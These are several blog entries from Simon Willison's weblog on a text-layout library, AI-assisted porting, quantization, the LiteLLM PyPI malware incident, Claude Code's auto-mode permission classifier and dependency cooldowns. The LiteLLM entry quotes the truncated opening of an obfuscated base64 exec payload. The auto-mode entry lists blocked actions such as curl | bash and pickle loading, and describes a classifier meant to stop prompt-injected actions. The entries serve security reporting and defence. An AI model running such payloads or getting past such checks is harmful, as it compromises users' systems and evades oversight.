Simon Willison’s Weblog

Pretext (via) Exciting new browser library from Cheng Lou, previously a React core developer and the original creator of the react-motion animation library.

Pretext solves the problem of calculating the height of a paragraph of line-wrapped text without touching the DOM. The usual way of doing this is to render the text and measure its dimensions, but this is extremely expensive. Pretext uses an array of clever tricks to make this much, much faster, which enables all sorts of new text rendering effects in browser applications.

Here's one demo that shows the kind of things this makes possible:

The key to how this works is the way it separates calculations into a call to a prepare() function followed by multiple calls to layout().

The prepare() function splits the input text into segments (effectively words, but it can take things like soft hyphens and non-latin character sequences and emoji into account as well) and measures those using an off-screen canvas, then caches the results. This is comparatively expensive but only runs once.

The layout() function can then emulate the word-wrapping logic in browsers to figure out how many wrapped lines the text will occupy at a specified width and measure the overall height.

I had Claude build me this interactive artifact to help me visually understand what's going on, based on a simplified version of Pretext itself.

The way this is tested is particularly impressive. The earlier tests rendered a full copy of the Great Gatsby in multiple browsers to confirm that the estimated measurements were correct against a large volume of text. This was later joined by the corpora/ folder using the same technique against lengthy public domain documents in Thai, Chinese, Korean, Japanese, Arabic, and more.

Cheng Lou says:

The engine’s tiny (few kbs), aware of browser quirks, supports all the languages you’ll need, including Korean mixed with RTL Arabic and platform-specific emojis

This was achieved through showing Claude Code and Codex the browsers ground truth, and have them measure & iterate against those at every significant container width, running over weeks

# 8:08 pm / browsers, css, javascript, testing, react, typescript

We Rewrote JSONata with AI in a Day, Saved $500K/Year. Bit of a hyperbolic framing but this looks like another case study of vibe porting, this time spinning up a new custom Go implementation of the JSONata JSON expression language - similar in focus to jq, and heavily associated with the Node-RED platform.

As with other vibe-porting projects the key enabling factor was JSONata's existing test suite, which helped build the first working Go version in 7 hours and $400 of token spend.

The Reco team then used a shadow deployment for a week to run the new and old versions in parallel to confirm the new implementation exactly matched the behavior of the old one.

# 12:35 am / go, json, ai, generative-ai, llms, agentic-engineering, vibe-porting

My minute-by-minute response to the LiteLLM malware attack (via) Callum McMahon reported the LiteLLM malware attack to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container:

Confirmed. Fresh download from PyPI right now in an isolated Docker container:

Inspecting: litellm-1.82.8-py3-none-any.whl
FOUND: litellm_init.pth
SIZE: 34628 bytes
FIRST 200 CHARS:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...

The malicious litellm==1.82.8 is live on PyPI right now and anyone installing or upgrading litellm will be infected. This needs to be reported to security@pypi.org immediately.

I was chuffed to see Callum use my claude-code-transcripts tool to publish the transcript of the conversation.

# 11:58 pm / pypi, security, ai, generative-ai, llms, claude, supply-chain

Quantization from the ground up. Sam Rose continues his streak of publishing spectacularly informative interactive essays, this time explaining how quantization of Large Language Models works (which he says might be "the best post I've ever made".)

Also included is the best visual explanation I've ever seen of how floating point numbers are represented using binary digits.

I hadn't heard about outlier values in quantization - rare float values that exist outside of the normal tiny-value distribution - but apparently they're very important:

Why do these outliers exist? [...] tl;dr: no one conclusively knows, but a small fraction of these outliers are very important to model quality. Removing even a single "super weight," as Apple calls them, can cause the model to output complete gibberish.

Given their importance, real-world quantization schemes sometimes do extra work to preserve these outliers. They might do this by not quantizing them at all, or by saving their location and value into a separate table, then removing them so that their block isn't destroyed.

Plus there's a section on How much does quantization affect model accuracy?. Sam explains the concepts of perplexity and ** KL divergence ** and then uses the llama.cpp perplexity tool and a run of the GPQA benchmark to show how different quantization levels affect Qwen 3.5 9B.

His conclusion:

It looks like 16-bit to 8-bit carries almost no quality penalty. 16-bit to 4-bit is more noticeable, but it's certainly not a quarter as good as the original. Closer to 90%, depending on how you want to measure it.

# 4:21 pm / computer-science, ai, explorables, generative-ai, llms, sam-rose, qwen

Thoughts on slowing the fuck down. Mario Zechner created the Pi agent framework used by OpenClaw, giving considerable credibility to his opinions on current trends in agentic engineering. He's not impressed:

We have basically given up all discipline and agency for a sort of addiction, where your highest goal is to produce the largest amount of code in the shortest amount of time. Consequences be damned.

Agents and humans both make mistakes, but agent mistakes accumulate much faster:

A human is a bottleneck. A human cannot shit out 20,000 lines of code in a few hours. Even if the human creates such booboos at high frequency, there's only so many booboos the human can introduce in a codebase per day. [...]

With an orchestrated army of agents, there is no bottleneck, no human pain. These tiny little harmless booboos suddenly compound at a rate that's unsustainable. You have removed yourself from the loop, so you don't even know that all the innocent booboos have formed a monster of a codebase. You only feel the pain when it's too late. [...]

You have zero fucking idea what's going on because you delegated all your agency to your agents. You let them run free, and they are merchants of complexity.

I think Mario is exactly right about this. Agents let us move so much faster, but this speed also means that changes which we would normally have considered over the course of weeks are landing in a matter of hours.

It's so easy to let the codebase evolve outside of our abilities to reason clearly about it. Cognitive debt is real.

Mario recommends slowing down:

Give yourself time to think about what you're actually building and why. Give yourself an opportunity to say, fuck no, we don't need this. Set yourself limits on how much code you let the clanker generate per day, in line with your ability to actually review the code.

Anything that defines the gestalt of your system, that is architecture, API, and so on, write it by hand. [...]

I'm not convinced writing by hand is the best way to address this, but it's absolutely the case that we need the discipline to find a new balance of speed v.s. mental thoroughness now that typing out the code is no longer anywhere close to being the bottleneck on writing software.

# 9:47 pm / ai, generative-ai, llms, coding-agents, cognitive-debt, agentic-engineering

LiteLLM Hack: Were You One of the 47,000? (via) Daniel Hnyk used the BigQuery PyPI dataset to determine how many downloads there were of the exploited LiteLLM packages during the 46 minute period they were live on PyPI. The answer was 46,996 across the two compromised release versions (1.82.7 and 1.82.8).

They also identified 2,337 packages that depended on LiteLLM - 88% of which did not pin versions in a way that would have avoided the exploited version.

# 5:21 pm / packaging, pypi, python, security, supply-chain

Auto mode for Claude Code. Really interesting new development in Claude Code today as an alternative to --dangerously-skip-permissions:

Today, we're introducing auto mode, a new permissions mode in Claude Code where Claude makes permission decisions on your behalf, with safeguards monitoring actions before they run.

Those safeguards appear to be implemented using Claude Sonnet 4.6, as described in the documentation:

Before each action runs, a separate classifier model reviews the conversation and decides whether the action matches what you asked for: it blocks actions that escalate beyond the task scope, target infrastructure the classifier doesn’t recognize as trusted, or appear to be driven by hostile content encountered in a file or web page. [...]

Model: the classifier runs on Claude Sonnet 4.6, even if your main session uses a different model.

They ship with an extensive set of default filters, and you can also customize them further with your own rules. The most interesting insight into how they work comes when you run this new command in the terminal:

claude auto-mode defaults

Here's the full JSON output. It's pretty long, so here's an illustrative subset:

From the "allow" list:

• Test Artifacts: Hardcoded test API keys, placeholder credentials in examples, or hardcoding test cases
• Local Operations: Agent deleting local files in working directory, local file operations within project scope, or using --ignore-certificate-errors for local testing. "Project scope" means the repository the session started in — wandering into ~/, ~/Library/, /etc, or other repos is scope escalation (User Intent Rule #2), not a local operation. Does NOT cover irreversible destruction of pre-existing files or local stateful services — see "Irreversible Local Destruction" in BLOCK.
• Read-Only Operations: GET requests, read-only API calls, or queries that don't modify state and don't contain sensitive information in the URL. Note: PREEMPTIVE BLOCK ON CLEAR INTENT still applies — if the transcript contains clear evidence the agent is using read-only operations to scout for a blocked action, block it.
• Declared Dependencies: Installing packages that are already declared in the repo's manifest files (requirements.txt, package.json, Cargo.toml, pyproject.toml, Gemfile, etc.) via standard commands that read those manifests (pip install -r requirements.txt, npm install, cargo build, bundle install) — provided the agent has not modified the manifest in this session. Does NOT cover installing agent-chosen package names (e.g. pip install foo, npm install bar) — those carry typosquat and supply-chain risk. [...]

From "soft_deny":

• Git Destructive: Force pushing (git push --force), deleting remote branches, or rewriting remote history
• Git Push to Default Branch: Pushing directly to main, master, or the repository's default branch — this bypasses pull request review. Commits should be pushed to a new feature branch instead. -Code from External: Downloading and executing code from external sources — e.g. curl | bash, deserializing external data via formats that can execute code (eval, exec, yaml.unsafe_load, pickle, etc), or similar mechanisms. Also includes running code from an external repo cloned earlier in the transcript (pip install -e, make install, python script.py, pickle.load/torch.load on cloned repo files) — "local on disk" does not mean trusted if it was cloned from an external source visible in the transcript. The repo the agent starts in is trusted.
• Cloud Storage Mass Delete: Deleting or mass modifying files on cloud storage (S3, GCS, Azure Blob, etc.) [...]

I remain unconvinced by prompt injection protections that rely on AI, since they're non-deterministic by nature. The documentation does warn that this may still let things through:

The classifier may still allow some risky actions: for example, if user intent is ambiguous, or if Claude doesn't have enough context about your environment to know an action might create additional risk.

The fact that the default allow list includes pip install -r requirements.txt also means that this wouldn't protect against supply chain attacks with unpinned dependencies, as seen this morning with LiteLLM.

I still want my coding agents to run in a robust sandbox by default, one that restricts file access and network connections in a deterministic way. I trust those a whole lot more than prompt-based protections like this new auto mode.

# 11:57 pm / security, ai, prompt-injection, generative-ai, llms, coding-agents, claude-code

Package Managers Need to Cool Down. Today's LiteLLM supply chain attack inspired me to revisit the idea of dependency cooldowns, the practice of only installing updated dependencies once they've been out in the wild for a few days to give the community a chance to spot if they've been subverted in some way.

This recent piece (March 4th) piece by Andrew Nesbitt reviews the current state of dependency cooldown mechanisms across different packaging tools. It's surprisingly well supported! There's been a flurry of activity across major packaging tools, including:

• pnpm 10.16 (September 2025) — minimumReleaseAge with minimumReleaseAgeExclude for trusted packages
• Yarn 4.10.0 (September 2025) — npmMinimalAgeGate (in minutes) with npmPreapprovedPackages for exemptions
• Bun 1.3 (October 2025) — minimumReleaseAge via bunfig.toml
• Deno 2.6 (December 2025) — --minimum-dependency-age for deno update and deno outdated
• uv 0.9.17 (December 2025) — added relative duration support to existing --exclude-newer, plus per-package overrides via exclude-newer-package
• pip 26.0 (January 2026) — --uploaded-prior-to (absolute timestamps only; relative duration support requested)
• npm 11.10.0 (February 2026) — min-release-age

pip currently only supports absolute rather than relative dates but Seth Larson has a workaround for that using a scheduled cron to update the absolute date in the pip.conf config file.

# 9:11 pm / javascript, packaging, pip, pypi, python, security, npm, deno, supply-chain, uv